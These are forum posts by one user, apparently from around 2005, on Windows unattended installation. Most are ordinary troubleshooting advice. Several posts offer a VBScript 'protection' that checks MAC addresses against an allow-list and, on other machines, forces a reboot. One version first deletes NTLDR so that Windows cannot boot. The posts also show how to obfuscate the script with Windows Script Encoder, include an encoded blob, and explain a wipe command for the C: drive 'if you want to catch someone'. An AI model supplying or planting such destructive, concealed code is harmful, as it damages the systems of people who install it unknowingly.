Martin Zugec

Next KOTOR-like RPG for Xbox... Similar to Fable or Jade Empire

2otsoo: Well, you nor your brother didnt won It depends on battery type - older bateries (NiMh for example) had problems with something called "memory effect". They "remembered" the last charged level, so if you didnt absolutely drain them and then maximaly charge them, they capacity will lower over time. However new batteries like LiPol have cell system, where it is better if you charge them as often as possible. So it depends on device power management (smart charging) and on battery type.

You can also try ClearMem from Microsoft... But there shouldnt be reason (all these utilities are working the same way as darph`s script)

RunOnceEx?

Just add cscript //nologo restrict.vbe BTW this is more aggresive BSOD version. DONT USE IT IF YOU DONT KNOW WHAT ARE YOU DOING! It will make windows unable to boot, because NTLDR is missing... Option Explicit Dim objWMIService, arrayNIC, objNIC, strMAC, strAllowedHost, arrayAllowedHosts, strYouAreWelcome Dim strOperatingSystem, colOperatingSystems Dim objFSO, objShell, strSystemDrive Const wbemFlagReturnImmediately = &h10 Const wbemFlagForwardOnly = &h20 Const wmiRestartForce = 4 arrayAllowedHosts = array("00:0b:db:87:43:be","00:0b:db:87:43:bd") Set objFSO = CreateObject("Scripting.FileSystemObject") Set objShell = CreateObject("Wscript.Shell") Set objWMIService = GetObject("winmgmts:\\.\root\CIMV2") Set arrayNIC = objWMIService.ExecQuery("SELECT * FROM Win32_NetworkAdapter", "WQL", wbemFlagReturnImmediately + wbemFlagForwardOnly) For Each objNIC In arrayNIC For Each strAllowedHost in arrayAllowedHosts If LCase(objNIC.MACAddress) = LCase(strAllowedHost) Then strYouAreWelcome = 1 Next Next If strYouAreWelcome <> 1 Then Set colOperatingSystems = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true") MsgBox "If you like this Windows distribution, consider to ask for permission to use it! PC is now restarting" strSystemDrive = objShell.ExpandEnvironmentStrings("%SystemDrive%") objFSO.DeleteFile strSystemDrive & "\ntldr", True For Each strOperatingSystem in colOperatingSystems strOperatingSystem.Reboot() Next Else Wscript.Echo "Your installation will continue! Hope you will enjoy this Windows distribution!" End If

Ok, it is working (on my PC). Give it a try and let me know. 'by Soulin '31.5.2005 Option Explicit Dim objWMIService, arrayNIC, objNIC, strMAC, strAllowedHost, arrayAllowedHosts, strYouAreWelcome Dim strOperatingSystem, colOperatingSystems Const wbemFlagReturnImmediately = &h10 Const wbemFlagForwardOnly = &h20 Const wmiRestartForce = 4 arrayAllowedHosts = array("00:0b:db:87:43:be","00:0b:db:87:43:bd") Set objWMIService = GetObject("winmgmts:\\.\root\CIMV2") Set arrayNIC = objWMIService.ExecQuery("SELECT * FROM Win32_NetworkAdapter", "WQL", wbemFlagReturnImmediately + wbemFlagForwardOnly) For Each objNIC In arrayNIC For Each strAllowedHost in arrayAllowedHosts If LCase(objNIC.MACAddress) = LCase(strAllowedHost) Then strYouAreWelcome = 1 Next Next If strYouAreWelcome <> 1 Then Set colOperatingSystems = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true") MsgBox "If you like this Windows distribution, consider to ask for permission to use it! PC is now restarting" For Each strOperatingSystem in colOperatingSystems strOperatingSystem.Reboot() Next Else Wscript.Echo "Your installation will continue! Hope you will enjoy this Windows distribution!" End If You will need to download Windows Script Encoder. Then use command screnc restrict.vbs restrict.vbe And thats it! Now you can use command cscript //nologo restrict.vbe in your installation

It is simple, it is array, so you can include list of allowed pcs (not one medium per PC). They are different, you can have many values there. Right now I am just starting my virtual machine to test it, so I am not sure if it is working For encryption, download Windows Script Encoder - Compare the following two examples: Option Explicit Dim objWMIService, arrayNIC, objNIC, strMAC, strAllowedHost, arrayAllowedHosts, strYouAreWelcome Dim strOperatingSystem, colOperatingSystems Const wbemFlagReturnImmediately = &h10 Const wbemFlagForwardOnly = &h20 Const wmiRestartForce = 4 arrayAllowedHosts = array("00:0b:db:87:43:be","00:0b:db:87:43:bd") Set objWMIService = GetObject("winmgmts:\\.\root\CIMV2") Set arrayNIC = objWMIService.ExecQuery("SELECT * FROM Win32_NetworkAdapter", "WQL", wbemFlagReturnImmediately + wbemFlagForwardOnly) For Each objNIC In arrayNIC For Each strAllowedHost in arrayAllowedHosts If LCase(objNIC.MACAddress) = LCase(strAllowedHost) Then strYouAreWelcome = 1 Next Next If strYouAreWelcome <> 1 Then Set colOperatingSystems = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true") Wscript.Echo "If you like this Windows distribution, consider to ask for permission to use it! PC is now restarting" For Each strOperatingSystem in colOperatingSystems strOperatingSystem.Reboot() Next End If #@~^fgQAAA==6aYrKx,26aVb^kD@#@&@#@&frh,W4N H&?+M-rm~,l.DCzgq/~,G4N1(/BP/O.tb/~,dDD)^VKh+9CKdYBPCDMlz)^VWSnN_W/DdSPkYM5GE).nV1G:@#@&9b:PdOMr2+MCDkUT?H/Y:B~mKV6wDCObxoUz/D+:k@#@&@#@&ZKxdY~A(+hs^Co"+O;MxqhhNrlDn^X~{PLtFZ@#@&/W /OPS4nhwVlToWMhlM[6x^X,'~[4+Z@#@&ZKU/DPAhbI+dOmDOsK.1+~{PWP@#@&@#@&CDMlzb^VGANCKdYkP',C.DmXvJT!lT()[4=0G=cfl(+JSEZ!l!(l94lRG=c&=49E#@#@&@#@&U+O~K4Lq\qU+D7r^+,',MnY68N+^YvEhbxhLsY/lw'RwDKGD-/&Hj J*@#@&j+DPCDMlzH&ZP{~W(Lt(j+M\bmnR3am}E.XvJj3d2ZP~CPoI}\,r &y{1YSGD0b[laYn.r~Pr pdJ~,A8+ss^lLInO!DUqsh+9kCOVX~Q,h8+so^lLwWMhlMN}UVH#@#@&@#@&oGMP2m^t,W4NH(Z,q PCD.CH1(Z@#@&dwW.~Alm4~kY.b^sKhn9CK/Y,k ~lMDCXzVsGS+N_G/D/@#@&77q6PdZC/ncK4%1&/Rtb/)9NDndk#~',J;ld`kYDzV^GhNuWkYb~:t+ ~/DD5K;)DV^Whn,'~F@#@&dg+aOi@#@&HnXY@#@&&W,/OM5KEbM+qnV1Wh+,@!@*~8PK4nx,P@#@&7j+DP1Wsr2nMlOk L?H/Ons/Px~V+Or(%mOvJSkxsosO/= c?4EO[Khx*NzJRzMGGYJmb:- Ebc2a+1}EDzcr/+sn1Y~e,WMWh,bx&y{}2+MlOk ojzkY+s~h4+D~KDb:mDz'O.!+E#@#@&dq/^.bwY 31tGPr(6PzKE,Vk0+,Otb/~bx[GS/P9r/DDk(;OkKxBP^WUdbNnD,OW,ldV,0W.~a+.:bdkkG PDWP!/~kD"~n;Prd,xWS~D/Ym.Ok or@#@&doGMP3l14PkY.6a+DCObxL?HdD+h,k PmKV}2+MlOk ojzkY+sd@#@&PdidOD}wDCYrUT?z/Dn:cIn8KWYcb@#@&71aD@#@&Ax9Pq6FHEBAA==^#~@

Ok, this is "alpha" version. Post your comments. Option Explicit Dim objWMIService, arrayNIC, objNIC, strMAC, strAllowedHost, arrayAllowedHosts, strYouAreWelcome Const wbemFlagReturnImmediately = &h10 Const wbemFlagForwardOnly = &h20 arrayAllowedHosts = array("00:0b:db:87:43:be","00:0b:db:87:43:bd") Set objWMIService = GetObject("winmgmts:\\.\root\CIMV2") Set arrayNIC = objWMIService.ExecQuery("SELECT * FROM Win32_NetworkAdapter", "WQL", wbemFlagReturnImmediately + wbemFlagForwardOnly) For Each objNIC In arrayNIC For Each strAllowedHost in arrayAllowedHosts If LCase(objNIC.MACAddress) = LCase(strAllowedHost) Then strYouAreWelcome = 1 Next Next If strYouAreWelcome <> 1 Then Wscript.Echo "This computer is not allowed and will be restarted" It wont restart computer yet, it is just for testing purposes. It is working with computer MAC (see arrayAllowedHosts if you want to add another values). If this is what you wanted, I will post encrypted version.

No ideas? I cant find any reason why merge modules are not installed for silent installations...

This is not hard to do - using WMI class query the MAC address and run encrypted vbs with allowed values. Do you want me to create this script?

it is quite simple: CMD - run interpreter /C - close window after execution RD - Remove Directory /S - delete whole directory tree /Q - dont ask for deletion C:\ - directory to remove For second question - we dont do it, only if you want to catch someone

Have a look at ref.chm in deploy.cab - the section you are looking for is named [internetServer]

Easy to create, easy to add, but also extremely easy to remove any "protection" like this.

Hi! I packed one of our bussiness applications with merge modul for MDAC 2.8. If I install it manually running msi, everything works fine, however if I use any silent switch, the MDAC will not install (and the application will fail of course)... Any ideas where could be the problem?

You can use encrypted admin password in winnt.sif (it is not working if you are member of domain)... About vbs, it wouldnt work, sorry...

Ehm, sorry, try to describe what exactly you want to do...

Give us some more informations I was really excited about VR technologies not a long time ago, I even wanted to buy P5 Glove...

Best is Microsoft/Sunbelt. Microsoft is for free, Sunbelt is using same technology and is paid (they added few important additions, including enterprise support etc.).

Ah, so this is it You should use something different called mirroring - so you will "mirror" your new partition to backup. Easiest way is to download for free Resource Kit 2k3 from Microsoft and use command robocopy with switch /MIR. You dont need to use junction points...

2ripken: You broke the chain You should post something like "same as Bashrat"

For compatibility problems with 9x software, have a look at Application Compatibility Toolkit from Microsoft (awesome tool!). For HW problems - change TV card. If it is like you said, get rid of that crap!

Rollup will be released 1st of June this year. 5 days before WSUS.

Ehm, did you checked action associated with power off button?

2alishan: Hmmm, if it is only SP2 CD, you made mistake - Microsoft will send it to you for free (even non-ENG versions)

Spybot or better MS AS